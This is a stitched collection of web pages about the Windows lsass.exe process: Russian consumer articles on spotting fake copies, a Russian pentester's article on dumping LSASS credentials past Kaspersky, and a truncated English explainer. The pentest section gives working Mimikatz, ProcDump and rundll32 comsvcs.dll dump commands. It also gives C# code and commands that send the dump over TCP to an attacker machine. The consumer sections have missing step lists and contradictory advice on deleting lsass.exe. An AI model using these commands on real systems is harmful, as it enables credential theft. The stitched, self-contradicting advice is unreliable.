C windows system32 lsass exe что это

Один из самых эффективных инструментов Windows, позволяющий обнаруживать зловредный софт и лишённый при этом каких-либо средств эвристического анализа – «Диспетчер задач». И нужно признаться, он достаточно активно используется многими пользователями для мониторинга ситуации в случае странного поведения компьютера. Возможность в любой момент времени отследить, какой процесс или приложение неэффективно расходует ресурсы ПК, очень важна, ведь такие процессы являются главными кандидатами на роль вируса, трояна или иного ПО из этой же категории. Более того, многие досконально изучили состав «Диспетчера задач», и любое новое имя в нём сразу воспринимается как потенциальная угроза. Процесс lsass.exe к таковым не принадлежит, поскольку является системным и присутствует во всех версиях Windows.

Процесс Lsass.exe в Диспетчере задач

Но… Не всё так хорошо в королевстве датском. Сегодня речь пойдёт о том, в каких случаях к этому процессу следует относиться с недоверием.

Lsass.exe – что это за процесс

Если перевести с английского расшифровку аббревиатуры LSASS, получится что-то вроде «сервис проверки подлинности подсистемы локальной безопасности». Если говорить проще, это компонента операционной система, ответственная за авторизацию пользователей в рамках одного ПК. Процессу отводится важная роль в функционировании Windows, и если его удалить, для локальных юзеров вход в систему окажется закрыт. Попросту говоря, дальше окна приглашения ОС вы не попадёте.

Приложение lsass.exe – это исполняемая программа, расположенная в системном каталоге c:\Windows\System32 и имеющая размер порядка 13-22 КБ. В силу вышесказанного можно утверждать, что в подавляющем большинстве случаев процесс не является вирусом, хотя его распространённость играет с ним плохую шутку: пожалуй, именно lsass.exe активнее всего используется вирусописателями в качестве мишени.

Приложение lsass.exe в Windows

Как функционирует процесс lsass.exe

Задача системного процесса заключается в идентификации данных, введённых на этапе авторизации, и необязательно во время входа в систему. Если данные введены правильно, процесс устанавливает флаг, который воспринимается системой соответствующим образом. Если процесс авторизации запущен пользователем во время текущей сессии ОС, будет установлен флаг, позволяющий запускать пользовательскую среду (оболочку). Если в дальнейшем будет попытка инициализации процедуры авторизации со стороны приложения, оно получит права пользователя в соответствии с установленными флагами.

Из этого следует, что файл lsass.exe не должен иметь большой размер и что он практически не использует ресурсы компьютера, активируясь по мере необходимости, но в любом случае редко.

И если вы заметите в «Диспетчере задач», что это не так, то есть цифры в колонке «ЦП» прыгают, отклоняясь от нуля на солидные величины, то есть lsass.exe достаточно сильно грузит процессор – значит, вы имеете дело не с оригинальным файлом.

Действительно, злоумышленники охотно используют этот процесс для проникновения в систему, заражая сам исполняемый файл или маскируясь под него. При этом они используют самые разные ухищрения, чтобы обойти антивирусную защиту и не попасться на глаза пользователю. Например, посредством создания файла с похожим именем, локализованным в системном каталоге Windows (папка System32), или размещая заражённый файл с таким же именем в другой каталог.

Поскольку процесс отображается в «Диспетчере задач» как lsass.exe (первая буква L строчная, а не прописная), вирусописатели используют это, заменяя l на I, в этом случае Isass.exe будет выглядеть почти натурально, если не присматриваться. В некоторых шрифтах эти буквы практически неразличимы. Чтобы выявить подвох, необходимо скопировать имя файла, вставить его в Word и перевести в верхний регистр (uppercase). Если первая буква правильная, процесс отобразится как LSASS, если вирус, то так и останется ISASS.

Есть и другие приёмы, позволяющие замаскировать вирусный файл под настоящий – например, вставить в название пробел (lsass .exe), добавить лишнюю букву (lsassa.exe, lsasss.exe) и т. д.

Варианты названия файла

Если запустить процедуру поиска файла с именем lsass.exe, и он окажется в папке, отличной от system32, можно быть уверенным, что мы имеем дело с вирусом. Такой файл можно смело удалять, не опасаясь последствий.

Осуществить проверку можно и непосредственно из «Диспетчера задач» — достаточно выделит его, кликнуть ПКМ (в Windows 10 – перейти во вкладку «Подробности») и выбрать пункт «Свойства». В новом окне отобразится полное имя файла и папка, в которой он хранится.

Пункт «Диспетчер задач»

Свойства lsass.exe в Windows

Просмотр расположения lsass.exe в Windows

Не помешает и проверка подлинности файла, для чего нужно перейти во вкладку «Цифровые подписи» и убедиться, что файл подписан разработчиком – компанией Microsoft.

Просмотр списка подписей lsass.exe в Windows

И раз уж у вас возникли подозрения на этот счёт, желательно проверить lsass.exe антивирусом: если он окажется заражённым, то с большой вероятностью этот факт вскроется и проблема будет решена. А поскольку пострадавшим оказался системный файл, неплохо бы проверить и остальные такие файла не предмет их целостности с помощью встроенных инструментов Windows, утилит sfc и dism.

Запуск командной строки от имени администратора

Для этого запускаем командную строку (обязательно с правами администратора) и набираем команду:

sfc /scannow

Команда scannow в Windows

Если вы хотите проверить только lsass, необходимо указать это в параметрах команды:

sfc /scanfile=c:\windows\system32\lsass.exe

Команда scanfile в Windows

Утилита dism также выполняет проверку хранилища системных компонент операционной системы на предмет их повреждения, которые умеет исправлять. Синтаксис команды:

dism /online /cleanup-image /restorehealth

Команда dism в Windows

Ещё раз отметим, что удалять оригинальный файл lsass.exe нельзя, даже если он заражён, а вот выгрузить из памяти можно, это не приведёт к краху системы.

Отключение и удаление процесса lsass.exe

Итак, вы выяснили, что грузящий ЦП процесс lsass.exe – неоригинальный. Чтобы устранить угрозу, нужно предпринять ряд мер:

С большой вероятностью этих шагов будет достаточно, чтобы решить проблему загрузки ЦП и замедления работы ПК. Проверяем это, перезагрузив компьютер. Если процесс всё ещё грузит систему, можно попробовать его отключить.

Как отключить lsass.exe

Иногда не заражённый системный процесс действительно начинает использовать ресурсы компьютера, сильно замедляя его работу. После перезагрузки обычно всё нормализуется, но если вы хотите разгрузить ПК в текущем сеансе работы операционной системы, попробуйте просто отключить процесс:

Этого будет достаточно, чтобы избавиться от загрузки процессора и памяти.

Чтобы удалить файл lsass.exe, достаточно перейти в системную папку system32, выбрать файл, кликнуть ПКМ и выбрать пункт меню «Удалить». Важно помнить, что это важный системный процесс, который жизненно необходим на многопользовательских компьютерах, и его удаление может привести к невозможности входа в систему и использованию средств восстановления Windows.

В Диспетчере задач Windows можно встретить процесс с названием «lsass.exe». Обычно данный файл просто висит в памяти компьютера и не создает никаких неудобств. Но, некоторые пользователи сталкиваются с тем, что процесс «lsass.exe» грузит процессор, память или диск на 100%.

В этой статье мы расскажем, что это за процесс, является ли он вирусом и можно ли его удалить.

Lsass.exe: что это за процесс

Lsass.exeАббревиатура LSASS расшифровывается как Local Security Authority Subsystem Service, что можно перевести как Сервис проверки подлинности локальной системы безопасности. LSASS является частью операционной системы Windows и выполняет функции, связанные с авторизацией локальных пользователей. При каждом входе локального пользователя в систему процесс «lsass.exe» проверяет пароль или другие данные для авторизации и разрешает или запрещает вход. Без данного файла вход локальных пользователей в Windows невозможен.

Поскольку процесс «lsass.exe» присутствует во всех современных версиях Windows, он часто используется создателями вирусов и шпионских программ для маскировки своих зловредов в системе. Вредоносные программы могут заражать непосредственно сам файл «lsass.exe» в папке System32, создавать файлы с похожими названиями в папке System32 или использовать такое же имя, но располагаться в других папках.

Lsass.exe – это вирус?

Процесс «lsass.exe» с буквой L, а не i, и расположением в папке «c:\windows\system32» является частью операционной системы Windows и не несет какой-либо опасности. Но, как и любой файл на компьютере, он может быть заражен в результате проникновения вирусов. В этом случае для очистки файла нужно использовать антивирусные программы. Они могут определить наличие вируса и выполнить очистку файла.

Можно ли удалять lsass.exe?

Удалять файл «lsass.exe», даже в случае заражения вирусами, нельзя. Поскольку без этого файла вы не сможете зайти в систему и продолжить работу. Фактически Windows выйдет из строя и вам придется восстанавливать работу с помощью загрузочного диска.

Но, если в качестве первой буквы указана большая буква «i» (Isass.exe), то такой файл является вирусом, который просто прикидывается системным файлом, и его можно спокойно удалять. Для того чтобы проверить, какая буква используется нужно скопировать имя файла и перевести его в нижний регистр (lowercase). Это можно сделать при помощи онлайн сервисов или программы Word.

нижний регистр в Word

Кроме этого, для маскировки вредоносного файла могут использоваться и другие ошибки в названии файла, например:

isass.exe
lsass .exe
lsassa.exe
lsasss.exe
Isassa.exe

Также файл «lsass.exe» можно удалять если он находится не в папке «c:\windows\system32». В этом случае это также вирус.

Как проверить lsass.exe

Для того чтобы узнать точное название файла и его расположение, нужно открыть «Диспетчер задач», перейти на вкладку «Подробности» и открыть свойства файла.

свойства lsass.exe в Диспетчере задач

В результате откроется окно со свойствами, в котором будет указано имя файла и его расположение.

имя файла lsass.exe и его расположение

В свойствах файла также можно проверить цифровую подпись. Оригинальный файл «lsass.exe» должен быть подписан компанией Майкрософт.

цифровая подпись файла lsass.exe

Проверка целостности системных файлов

После очистки файла «lsass.exe» с помощью антивирусов желательно выполнить проверку целостности системных файлов. Для этого можно использовать такие встроенные в Windows инструменты как SFC и DISM.

Чтобы проверить всю операционную систему на целостность файлов нужно запустить командную строку с правами администратора и выполнить команду:

sfc /scannow

команда sfc /scannow

Также с помощью SFC можно проверить только файл «lsass.exe». Для этого нужно использовать команду «sfc /scanfile» с указанием полного пути к файлу, например:

sfc /scanfile=C:\Windows\System32\lsass.exe

командана sfc /scanfile

Для использования DISM вам также понадобится командная строка с правами администратора. В этом случае для проверки системы нужно выполнить:

dism /Online /Cleanup-Image /RestoreHealth

команда dism

Если операционная система не загружается, то эти команды можно выполнить с загрузочного диска. Более подробно об использовании SFC и DISM можно прочитать в отдельной статье о проверке целостности системных файлов.

Lsass.exe грузит процессор, память или диск

Пользователи иногда сталкиваются с тем, что процесс «lsass.exe» создает высокую нагрузку на процессор, оперативную память или жесткий диск. Ниже мы рассмотрим некоторые причины и возможные решения данной проблемы.

  • Вирусы. Проверьте имя, расположение и цифровую подпись файла, так как это описано выше. Выполните проверку компьютера на вирусы. Помните, что в Диспетчере задач не должно быть более одной копии процесса «lsass.exe». Наличие нескольких копий «lsass.exe» говорит о наличии вируса.
  • Повреждение файлов. Выполните проверку системных файлов с помощью SFC и DISM. При необходимости проверку можно выполнить с загрузочного диска Windows.
  • Проблемы с браузером. В некоторых пользователей процесс «lsass.exe» грузит процессор при запуске браузера (чаще всего Chrome). В этом случае попробуйте выполнить переустановку браузер или удалить следующую папку:
    C:\Users\<username>\appdata\roaming\microsoft\protect\<guid>

    Обратите внимание, это приведет к удалению паролей, локально сохраненных в браузере.

Посмотрите также:

  • Как завершить процесс через командную строку в Windows 7 или Windows 10
  • Как перезапустить Проводник (Explorer) в Windows 10 или Windows 7
  • Csrss.exe: что это за процесс в Windows 7, 10, 11
  • Как поставить высокий приоритет программе в Windows 11 и Windows 10
  • Dwm.exe: что это за процесс на Windows 11 и Windows 10

Автор
Александр Степушин

Создатель сайта comp-security.net, автор более 2000 статей о ремонте компьютеров, работе с программами, настройке операционных систем.

Остались вопросы?

Задайте вопрос в комментариях под статьей или на странице
«Задать вопрос»
и вы обязательно получите ответ.

Время на прочтение
12 мин

Количество просмотров 28K

Здравствуйте, хабролюди!

Меня зовут @snovvcrash, и я работаю в отделе анализа защищенности компании Angara Security. Отвечаю я, значится, за инфраструктурный пентест, и в этой статье я хотел бы поговорить об одном из самых эффективных методов добычи учетных данных на «внутряке» — извлечении секретов из памяти процесса lsass.exe (MITRE ATT&CK T1003.001) — и, в частности, об особенностях реализации этого метода в ру-сегменте тестирования на проникновение.

За два года работы пентестером мои нервы были изрядно потрепаны нашим любимым отечественным антивирусным решением Kaspersky Endpoint Security (далее — KES), который установлен у каждого первого второго нашего клиента, и который, в отличие от других средств антивирусной защиты, наглухо блокирует все попытки потенциального злоумышленника получить доступ к lsass.exe (не реклама!).

Далее я расскажу свой опыт использования и кастомизации публично доступных инструментов, которые в разные промежутки времени позволяли мне сдампить память LSASS при активном «Касперском». Погнали!

Краткий ликбез

Если не сильно углубляться в теорию, то Local Security Authority Subsystem Service (он же LSASS) — это процесс (исполняемый файл C:\Windows\System32\lsass.exe), ответственный за управление разными подсистемами аутентификации ОС Windows. Среди его задач: проверка «кред» локальных и доменных аккаунтов в ходе различных сценариев запроса доступа к системе, генерация токенов безопасности для активных сессий пользователей, работа с провайдерами поддержки безопасности (Security Support Provider, SSP) и др.

Для нас, как для этичных хакеров, ключевым значением обладает тот факт, что в домене Active Directory правит концепция единого входа Single Sign-On (SSO), благодаря которой процесс lsass.exe хранит в себе разные материалы аутентификации залогиненных пользователей, например, NT-хеши и билеты Kerberos, чтобы «пользаку» не приходилось печатать свой паролЪ в вылезающем на экране окошке каждые 5 минут. В «лучшие» времена из LSASS можно было потащить пароли в открытом виде в силу активности протокола WDigest (HTTP дайджест-аутентификация), но начиная с версии ОС Windows Server 2008 R2 вендор решил не включать этот механизм по умолчанию.

Несмотря на то, что в 2к22 при успешном дампе LSASS злоумышленнику чаще всего остается довольствоваться NT-хешами и билетами Kerberos, это все равно с большой вероятностью позволит ему повысить свои привилегии в доменной среде AD за короткий промежуток времени. Реализуя схемы Pass-the-Hash, Overpass-the-Hash и Pass-the-Ticket, злоумышленник может быстро распространиться по сети горизонтально, собирая по пути все больше хешей и «тикетов», что в конечном итоге дарует ему «ключи от Королевства» в виде данных аутентификации администратора домена.

Экскурс в историю дампов LSASS

Рассмотрим первопроходцев в ремесле извлечения данных аутентификации из памяти LSASS.

Mimikatz

Было бы преступлением не начать повествование с такого мастодонта в области потрошения подсистем аутентификации Windows как Mimikatz, которым хоть раз пользовался любой пентестер.

Модуль sekurlsa::logonpasswords позволяет «налету» парсить память lsass.exe с целью поиска секретиков без сохранения соответствующего дампа на диск. Этот инструмент поистине произвел революцию в наступательных операциях и положил начало многим другим исследованием в области извлечения чувствительной информации с хостов под управлением Windows.

Cmd

C:\>mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # log out.txt
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit

C:\>mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"

Использование Mimikatz (logonpasswords)

Использование Mimikatz (logonpasswords)

К сожалению для пентестеров, вендоры AV / EDR быстро «просекли фишку» и стали относиться к «Мимику» <sarkazm>как к самому опасному ПО, созданному за всю историю человечества</sarkazm>, поэтому на сегодняшний момент он пригоден лишь как пособие для изучения реализованных в нем техник — для их переосмысления и переизобретения в собственных инструментах.

На заметку: официальная вики Mimikatz покрывает далеко не все его возможности, поэтому энтузиасты InfoSec-комьюнити создали вот такой замечательный ресурс, которым я рекомендую пользоваться в случае возникновения вопросов, что делает та или иная команда этого замечательного инструмента.

ProcDump

Другим фаворитом внутренних пентестов долгое время был метод создания снимка памяти LSASS с помощью служебной программы ProcDump из состава Windows Sysinternals. Этот инструмент позволяет создавать дампы процессов с целью их дальнейшего анализа, и процесс lsass.exe тому не исключение (если права позволяют, разумеется, хе-хе).

Cmd

C:\>procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp

Создание слепка памяти процесса lsass.exe

Создание слепка памяти процесса lsass.exe

Теперь можно притащить слепленный дамп к себе на тачку и распарсить его с помощью того же Mimikatz.

Cmd

C:\>mimikatz.exe
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords full
mimikatz # exit

C:\>mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"

Парсим lsass.dmp с помощью Mimikatz

Парсим lsass.dmp с помощью Mimikatz

Или его аналога для Linux – Pypykatz.

Cmd

~$ pypykatz lsa minidump lsass.dmp

Парсим lsass.dmp с помощью Pypykatz

Парсим lsass.dmp с помощью Pypykatz

Прелесть этого метода заключается в том, что все необходимые операции по созданию слепка памяти выполняет ProcDump, подписанный Microsoft, и этичному взломщику не требуется тащить на хост никакой малвари. Однако разработчики корпоративных антивирусных решений тоже долго не стояли в стороне и оперативно прикрыли возможность делать дампы LSASS с помощью ProcDump, включив его в разряд PDM:HackTool.Win32.CreDump.rbaa.

«Касперский» не доволен активностью ProcDump

«Касперский» не доволен активностью ProcDump

comsvcs.dll

Безусловно, интересной находкой стало обнаружение экспорта функции MiniDumpW в системной библиотеке C:\Windows\System32\comsvcs.dll, которая дергает вызов Win32 API MiniDumpWriteDump и позволяет делать слепки процессов в рамках концепции Living Off The Land Binaries And Scripts (LOLBAS), когда злоумышленнику не нужно приносить ничего лишнего на атакуемую машину.

Анализ библиотеки comsvcs.dll с помощью PE-bear

Анализ библиотеки comsvcs.dll с помощью PE-bear

Эта библиотека легла в основу первых версий замечательной утилиты lsassy, позволяющей делать слепки LSASS и удаленно читать необходимые области памяти созданного дампа, а не перенаправлять его целиком на машину атакующего (подробнее о принципе работы можно почитать в блоге автора утилиты).

Если взглянуть на код, можно найти суперские «однострочники» для Cmd и PowerShell, которые автоматически позволяют получить идентификатор процесса lsass.exe и сдампить его память по заданному пути.

C:\>for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump ^%B C:\lsass.dmp full
PS C:\> rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\lsass.dmp full

Примечание: лучше пользоваться PowerShell-версией команды, так как для оболочки PowerShell в отличии от Cmd по дефолту включена привилегия SeDebugPrivilege для привилегированной сессии шелла, которая понадобится для доступа к памяти lsass.exe.

Дампим LSASS с помощью LOLBAS-техники comsvcs.dll

Дампим LSASS с помощью LOLBAS-техники comsvcs.dll

Стоит ли говорить, что создание дампа по такой простой технике, разумеется, будет предотвращено хотя бы мало-мальски неравнодушным антивирусом?

Out-Minidump.ps1

Еще один древний как мир способ — позаимствовать импорт P/Invoke функции MiniDumpWriteDump из класса NativeMethods сборки System.Management.Automation.WindowsErrorReporting, как это делается в скрипте Out-Minidump.ps1 из арсенала PowerSploit.

MiniDumpWriteDump

$WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting')
$WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic')
$Flags = [Reflection.BindingFlags] 'NonPublic, Static'
$MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags)
$MiniDumpWriteDump

Анализ сборки System.Management.Automation.WindowsErrorReporting с помощью dnSpy

Анализ сборки System.Management.Automation.WindowsErrorReporting с помощью dnSpy

Результат работы скрипта аналогичен вызову функции MiniDump из предыдущего метода, поэтому оставлю это в качестве упражнения для читателя. Ну и, соответственно, антивирусы так же негативно к нему относятся.

Дампим LSASS по OPSEC-овски

Итак, перейдем к самому интересному: как же можно «угодить» антивирусным средствам защиты и сделать дамп памяти процесса lsass.exe в стиле Operational Security?

Запреты AV на создание слепков памяти LSASS условно можно разделить на 3 части:

  1. Запрет на получение дескриптора процесса lsass.exe.

  2. Запрет на чтение виртуальной памяти процесса lsass.exe.

  3. Запрет на сохранение результирующего дампа на диск.

Ниже мы рассмотрим 3 проекта, каждый из которых в свое время помогал мне извлечь чувствительную информацию из памяти сетевых узлов при активном средстве KES на внутренних пентестах или операциях Red Team.

MirrorDump

Первым обнаруженным мною проектом, который на удивление мог обходить защиту KES, был MirrorDump от исследователя @_EthicalChaos_.

Его ключевые особенности:

  • Написан на C#, что позволяет запускать его из памяти сессии C2 или с помощью механизма .NET Reflection.Assembly.

  • Применяет магию Boo.Lang и плагина DllExport для генерации «на лету» псевдопровайдера аутентификации LSA SSP и его загрузки в память LSASS для получения дескриптора процесса lsass.exe вместо использования API NtOpenProcess.

  • Использует проекты MiniHook и SharpDisasm для установки userland-хуков на вызовы внутренних API MiniDumpWriteDump для перенаправления потока байт результирующего слепка памяти lsass.exe в память исполняющего процесса. Таким образом у оператора появляется возможность отправить дамп памяти по сети и не сохранять его на диск скомпрометированного хоста.

В минусы этого способа безусловно входит то, что библиотека DLL псевдопровайдера аутентификации LSA должна быть сохранена на диск скомпрометированного хоста для возможности ее использования в API SpLsaModeInitialize, и которая, ко всему прочему, не может быть удалена после создания дампа без перезагрузки ПК.

Данный проект существует как Proof-of-Concept, который «из коробки» в конечном итоге все равно сохраняет дамп памяти на диск даже с учетом того, что генерация такого дампа проходит столь необычным образом. Поэтому я решил сделать свой форк, добавив две новые фичи:

  1. Парсинг слепка прямо в памяти с помощью библиотеки MiniDump (работает не на всех версиях ОС Windows).

  2. Возможность сжатия и отправки байт слепка памяти по TCP-каналу на машину атакующего, где парсинг может быть произведен силами сторонних инструментов (Mimikatz / Pypykatz).

Для первой фичи был добавлен флаг --parse, при наличии которого байты слепка передаются на EntryPoint MiniDump.

Cmd

C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --parse

Бесфайловый дамп LSASS с парсингом слепка в памяти

Бесфайловый дамп LSASS с парсингом слепка в памяти

Для второй фичи был написан вспомогательный скрипт на Python, содержащий тривиальный сокет-сервер, ожидающий «зиппованный» дамп. Скрипт также автоматически распакует прилетевший дамп, по желанию проверит контрольную сумму и распрасит его с помощью Pypykatz.

Cmd

~$ python3 MirrorDump.py 0.0.0.0 1337 --md5 --parse
C:\>MirrorDump.exe --dllName LegitLSAPlugin1.dll --host 192.168.0.184 --port 1337

Бесфайловый дамп LSASS с отправкой слепка по TCP

Бесфайловый дамп LSASS с отправкой слепка по TCP

Отправка запакованного дампа также легко реализуется на нативном C# через метод SendZip.

static void SendZip(string host, int port, DumpContext dc)
{
    using (var outStream = new MemoryStream())
    {
        using (var archive = new ZipArchive(outStream, ZipArchiveMode.Create, true))
        {
            var lsassDump = archive.CreateEntry($"{Guid.NewGuid()}.bin");
            using (var entryStream = lsassDump.Open())
                using (var dumpCompressStream = new MemoryStream(dc.Data))
                    dumpCompressStream.CopyTo(entryStream);
        }

        byte[] compressedBytes = outStream.ToArray();

        Console.WriteLine($"[+] Minidump successfully packed in memory, size {Math.Round(compressedBytes.Length / 1024.0 / 1024.0, 2)} MB");

        byte[] zipHashBytes = MD5.Create().ComputeHash(compressedBytes);
        string zipHash = BitConverter.ToString(zipHashBytes).Replace("-", "");

        Console.WriteLine($"[*] MD5: {zipHash}");

        using (var tcpClient = new TcpClient(host, port))
        {
            using (var netStream = tcpClient.GetStream())
            {
                string hostName = System.Environment.GetEnvironmentVariable("COMPUTERNAME");
                string zipSize = (compressedBytes.Length).ToString();
                byte[] stage = Encoding.ASCII.GetBytes($"{hostName}|{zipSize}");
                netStream.Write(stage, 0, stage.Length);
                netStream.Write(compressedBytes, 0, compressedBytes.Length);
            }
        }
    }
}

Также метод создания слепков lsass.exe с помощью MirrorDump был добавлен мной для использования вместе с lsassy.

К сожалению, недолго музыка играла и примерно полгода спустя «Касперский» начал блокировать создание дампов LSASS через данную технику на уровне поведенческого анализа, что заставило нас искать другой «непалящийся» способ извлечения кред на внутряках.

NanoDump

Нашим следующим «спасителем» стал инструмент NanoDump от компании-разработчика Cobalt Strike, который я без преувеличений считаю просто произведением искусства.

Его ключевые особенности:

  • Использование системных вызовов (с их динамическим резолвом) с помощью SysWhispers2, что позволяет обходить userland-хуки Win32 API, которые вешает антивирусное ПО.

  • Собственная реализация MiniDumpWriteDump через чтение памяти lsass.exe с помощью ZwReadVirtualMemory, что избавляет оператора от необходимости дергать потенциально подозрительную ручку API.

  • Поддержка разных трюков и техник создания дампа (перечислены не все):

    • поиск уже открытых дескрипторов lsass.exe в других процессах [ссылка],

    • использование утекающего хэндла lsass.exe при вызове функции CreateProcessWithLogonW [ссылка],

    • загрузка NanoDump в виртуальную память lsass.exe в виде провайдера SSP [ссылка],

    • возможность снятия защиты PPL [ссылка].

  • Намеренное повреждение сигнатуры дампа памяти с целью избегания детекта от AV на этапе его записи на диск.

  • Компиляция в Beacon Object File (BOF) для выполнения NanoDump из памяти в случае, когда моделируемый злоумышленник обладает сессией «Кобальта» на скомпрометированном сетевом узле.

Для нас, как для пентестеров компаний преимущественно из ру-сегмента, наибольший интерес представляет техника загрузки NanoDump, скомпилированного в виде DLL, прямо в LSASS как SSP, то есть в виде псевдопровайдера аутентификации LSA. Исходя из нашего опыта, на данный момент это и есть слабое место «Касперского».

Для того, чтобы воспользоваться этой техникой без сессии Cobalt Strike, моделируемый злоумышленник должен принести на скомпрометированный узел 2 бинаря: загрузчик библиотеки SSP и, собственно, саму библиотеку SSP. Полагаю, что в скором времени оба они начнут детектиться по крайней мере на уровне сигнатурного анализа, поэтому воспользовавшись примером из этого ресерча от @ShitSecure мы напилили свой загрузчик NanoDump SSP из памяти с помощью кредла на PowerShell.

Дампим LSASS с помощью NanoDump SSP и восстанавливаем поврежденную сигнатуру

Дампим LSASS с помощью NanoDump SSP и восстанавливаем поврежденную сигнатуру

Намеренно не раскрываю исходник кредла (тем более, что в приведенной выше статье все есть), ибо надеюсь, что этот метод проживет хотя бы еще немного. Ну а в общем, смиренно ждем, когда и эта техника начнет «палиться» KES, чтобы начать искать новые ухищрения для дампа памяти LSASS…

Physmem2profit

Последним творением, которое мы сегодня рассмотрим, будет проект Physmem2profit от F-Secure LABS. Его подход к дампу LSASS отличается от остальных тем, что вместо того, чтобы сосредотачиваться на методах уклонения от хуков AV / EDR в userland, он использует драйвер WinPmem (часть форензик-проекта rekall) для получения доступа ко всей физической памяти целевого узла и ищет там область, соответствующую памяти процесса lsass.exe, через монтирование виртуальной ФС FUSE.

Покажем в действии, как заставить это чудо работать:

  1. Для начала клонируем репозиторий проекта, рекурсивно разрешая зависимости в виде git-подмодулей.

  2. Далее исправим версии библиотек acora и pycryptodome в зависимостях rekall-core, чтобы они дружили с актуальным Python 3.

  3. Теперь можно запустить инсталлер, который накатит питонячую виртуальную среду и поставит все, что ему нужно.

Cmd

git clone --recursive https://github.com/FSecureLABS/physmem2profit
cd physmem2profit/client
sed -i 's/acora==2.1/acora/g' rekall/rekall-core/setup.py
sed -i 's/pycryptodome==3.4.7/pycryptodome/g' rekall/rekall-core/setup.py
bash install.sh
source .env/bin/activate

Установка Physmem2profit

Установка Physmem2profit

Следуя рекомендациям из этого issue, я скачал крайний релиз WinPmem (нам понадобится только файл kernel/binaries/winpmem_x64.sys) и обновил эти константы для изменившегося интерфейса взаимодействия с драйвером. Внесенные изменения можно посмотреть в моем форке проекта.

Также среди внесенных изменений — захардкоженный файл драйвера, который автоматически кладется в файловую систему «жертвы» перед установкой соответствующей службы и стирается после ее остановки и удаления:

static byte[] Decompress(byte[] data)
{
    MemoryStream input = new MemoryStream(data);
    MemoryStream output = new MemoryStream();
    using (DeflateStream dStream = new DeflateStream(input, CompressionMode.Decompress))
        dStream.CopyTo(output);

    return output.ToArray();
}

// ...

Program.Log("Installing service...");
var sysCompressed = Convert.FromBase64String("<WINPMEM_BYTES_BASE64>");
var sysRawBytes = Decompress(sysCompressed);
File.WriteAllBytes(pathToDriver, sysRawBytes);
OpenOrCreate(pathToDriver);
Program.Log("Service created successfully.", Program.LogMessageSeverity.Success);

// ...

CloseHandle(_hDevice);
Stop();
Delete();
File.Delete(Globals.pathToDriver);
Program.Log("Successfully unloaded the WinPMem driver.", Program.LogMessageSeverity.Success);

Смотрим, как всем этим пользоваться:

# Server-side
PS > .\Physmem2profit.exe --ip <LHOST> --port <LPORT> [--verbose] [--hidden]

# Client-side
~$ python3 physmem2profit --host <RHOST> --port <RPORT> --install "C:/Windows/Temp/winpmem_x64.sys" --mode all --driver winpmem

Чтобы не упускать преимуществ C#, на котором написана серверная часть, продемонстрируем возможность загрузки и выполнения сборки из памяти.

Дампим LSASS с помощью Physmem2profit

Дампим LSASS с помощью Physmem2profit

Вуаля, хеши из LSASS получены!

Противодействие

Вместо заключения приведу несколько рекомендаций, которые помогут свести к минимуму возможности для потенциального злоумышленника сдампить LSASS или извлечь из сделанного слепка значительную выгоду:

  • Свести к минимуму доступ к любым сетевым узлам в домене с учетными данными пользователей, входящих в привилегированные доменные группы (Domain Admins, Enterprise Admins, Administrators и др.), а для администрирования серверов и рабочих станций использовать выделенные для данных целей УЗ с минимально необходимым набором привилегий (смотрим концепцию Tiered Access Model).

  • Настроить механизм безопасности Remote Credential Guard для предотвращения сохранения аутентификационных данных пользователей при подключении к удаленным сетевым узлам по протоколу RDP для привилегированных УЗ.

  • Использовать механизм Protected Process (PPL) для предотвращения потенциальной возможности доступа к памяти процесса lsass.exe.

  • Использовать группу безопасности Windows «Защищенные пользователи» (Protected Users Security Group) и добавить в нее УЗ критически важных пользователей, например, администраторов домена (эта фича требует тестирования перед внедрением в прод, поэтому аккуратнее).

  • Следовать рекомендациям производителя ОС для снижения риска проведения атак типа Pass-the-Hash.

Ну а пока извечная игра в кошки-мышки между пентестерами и вендорами антивирусного ПО продолжается, Happy hacking!

Lsass.exe (Local Security Authority Process) is a safe file from Microsoft used in Windows operating systems. It’s vital to the normal operations of a Windows computer and should therefore not be deleted, moved, or edited in any way.

The file is permanently located in the \Windows\System32\ folder and is used to enforce security policies, meaning that it’s involved with things like password changes and login verifications.

While the file is extremely important for normal Windows operations and should not be tampered with, malware has been known to either hijack the real lsass.exe file or pretend to be authentic to fool you into letting it run.

How to Spot a Fake lsass.exe File

 Lifewire

It’s not difficult to spot a fake lsass.exe file, but you have to look very carefully at a few things to ensure that you’re dealing with a fake process and not the real one that Windows needs.

Check the Spelling

The most common method used by malware to trick you into thinking lsass.exe is not a virus is by renaming the file to something very similar. Since a folder can’t have two files with the same name, it will be changed ever so slightly.

Here’s an example:

Isass.exe

If that looks just like lsass.exe, you’re right…it does. However, the real file uses a lowercase L (l) while the malicious one uses an uppercase i (I). Depending on how fonts are displayed on your computer, they could look identical, making it easy to confuse them for each other.

One way to verify whether the filename is incorrect is to use a case converter. Copy the filename and paste it into the text box at Convert Case, and then select lower case to convert it all into lower case. If the result is not genuine, it’ll be spelled like this: isass.exe.

These are some other purposeful misspellings intended to trick you into letting the file stay on your computer or allowing it to run when asked (look closely at that first one; it has an unneeded space):

lsass .exe
lsassa.exe
lsasss.exe
Isassa.exe

Where Is It Located?

The real lsass.exe file is in one folder only, so if you find it anywhere else, it’s most likely dangerous and should be deleted immediately.

The real file is supposed to be stored in the System32 folder:

C:\Windows\System32\

If it’s anywhere else on your computer, like on the desktop, in your downloads folder, on a flash drive, etc., treat it as a threat and promptly remove it (there’s more on how to do that below).

Your computer might have some lsass.exe files in C:\Windows\winsxs\ folders. Those are used during Windows updates and serve as backups, but should you feel the need to remove them later when scanning for lsass.exe files, it’s safe to delete them.

If you see lsass.exe in Task Manager, here’s how to know where it’s actually running from:

